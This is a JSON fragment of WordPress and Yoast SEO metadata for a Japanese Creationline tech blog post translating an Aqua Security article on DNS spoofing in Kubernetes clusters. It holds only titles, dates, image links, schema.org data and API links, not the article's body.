-->","yoast_head_json":{"title":"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","description":"AquaSecurity, Kubernetes |\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300cDNS Spoofing on Kubernetes","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613","og_locale":"ja_JP","og_type":"article","og_title":"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","og_description":"AquaSecurity, Kubernetes |\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300cDNS Spoofing on Kubernetes","og_url":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613","og_site_name":"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","article_publisher":"https:\/\/www.facebook.com\/creationline","article_published_time":"2019-09-05T01:00:04+00:00","article_modified_time":"2019-09-11T08:56:24+00:00","og_image":[{"width":650,"height":315,"url":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2019\/08\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg","type":"image\/jpeg"}],"author":"Kent Magruder","twitter_card":"summary_large_image","twitter_creator":"@creationline","twitter_site":"@creationline","twitter_misc":{"\u57f7\u7b46\u8005":"Kent Magruder","\u63a8\u5b9a\u8aad\u307f\u53d6\u308a\u6642\u9593":"3\u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613#article","isPartOf":{"@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613"},"author":{"name":"Kent Magruder","@id":"https:\/\/www.creationline.com\/tech-blog\/#\/schema\/person\/2dfcdde19e3b7cb7da7c9ae23e1b7717"},"headline":"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes","datePublished":"2019-09-05T01:00:04+00:00","dateModified":"2019-09-11T08:56:24+00:00","mainEntityOfPage":{"@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613"},"wordCount":589,"image":{"@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613#primaryimage"},"thumbnailUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2019\/08\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg","articleSection":["AquaSecurity","Kubernetes"],"inLanguage":"ja"},{"@type":"WebPage","@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613","url":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613","name":"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes - Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","isPartOf":{"@id":"https:\/\/www.creationline.com\/tech-blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613#primaryimage"},"image":{"@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613#primaryimage"},"thumbnailUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2019\/08\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg","datePublished":"2019-09-05T01:00:04+00:00","dateModified":"2019-09-11T08:56:24+00:00","author":{"@id":"https:\/\/www.creationline.com\/tech-blog\/#\/schema\/person\/2dfcdde19e3b7cb7da7c9ae23e1b7717"},"description":"AquaSecurity, Kubernetes |\u672c\u30d6\u30ed\u30b0\u306f\u300cAqua Security\u300d\u793e\u306e\u6280\u8853\u30d6\u30ed\u30b0\u30672019\u5e748\u670829\u65e5\u306b\u516c\u958b\u3055\u308c\u305f\u300cDNS Spoofing on Kubernetes","breadcrumb":{"@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613#primaryimage","url":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2019\/08\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg","contentUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2019\/08\/Spoofing-in-Kubernetes-Resource-Thumbnail.jpg","width":650,"height":315},{"@type":"BreadcrumbList","@id":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity\/29613#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"HOME","item":"https:\/\/www.creationline.com\/tech-blog"},{"@type":"ListItem","position":2,"name":"\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6","item":"https:\/\/www.creationline.com\/tech-blog\/cloudnative"},{"@type":"ListItem","position":3,"name":"AquaSecurity","item":"https:\/\/www.creationline.com\/tech-blog\/cloudnative\/aquasecurity"},{"@type":"ListItem","position":4,"name":"Kubernetes\u30af\u30e9\u30b9\u30bf\u3067\u306eDNS\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0 #AquaSecurity #DevSecOps #Container #Security #Kubernetes"}]},{"@type":"WebSite","@id":"https:\/\/www.creationline.com\/tech-blog\/#website","url":"https:\/\/www.creationline.com\/tech-blog\/","name":"Tech Blog\uff5c\u30af\u30ea\u30a8\u30fc\u30b7\u30e7\u30f3\u30e9\u30a4\u30f3","description":"\u30a2\u30b8\u30e3\u30a4\u30eb\uff06DevOps\u3001\u30af\u30e9\u30a6\u30c9\u30cd\u30a4\u30c6\u30a3\u30d6\u3001AI\uff06LLM\u306e\u5148\u7aef\u6280\u8853","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.creationline.com\/tech-blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ja"},{"@type":"Person","@id":"https:\/\/www.creationline.com\/tech-blog\/#\/schema\/person\/2dfcdde19e3b7cb7da7c9ae23e1b7717","name":"Kent Magruder","image":{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/avatar.png","url":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/avatar.png","contentUrl":"https:\/\/www.creationline.com\/tech-blog\/cms_x3GWkuX\/wp-content\/uploads\/2021\/12\/avatar.png","caption":"Kent Magruder"},"url":"https:\/\/www.creationline.com\/tech-blog\/author\/k-magruder"}]}},"_links":{"self":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts\/29613","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/users\/56"}],"replies":[{"embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/comments?post=29613"}],"version-history":[{"count":43,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts\/29613\/revisions"}],"predecessor-version":[{"id":30184,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/posts\/29613\/revisions\/30184"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/media\/29614"}],"wp:attachment":[{"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/media?parent=29613"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/categories?post=29613"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.creationline.com\/tech-blog\/wp-json\/wp\/v2\/tags?post=29613"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}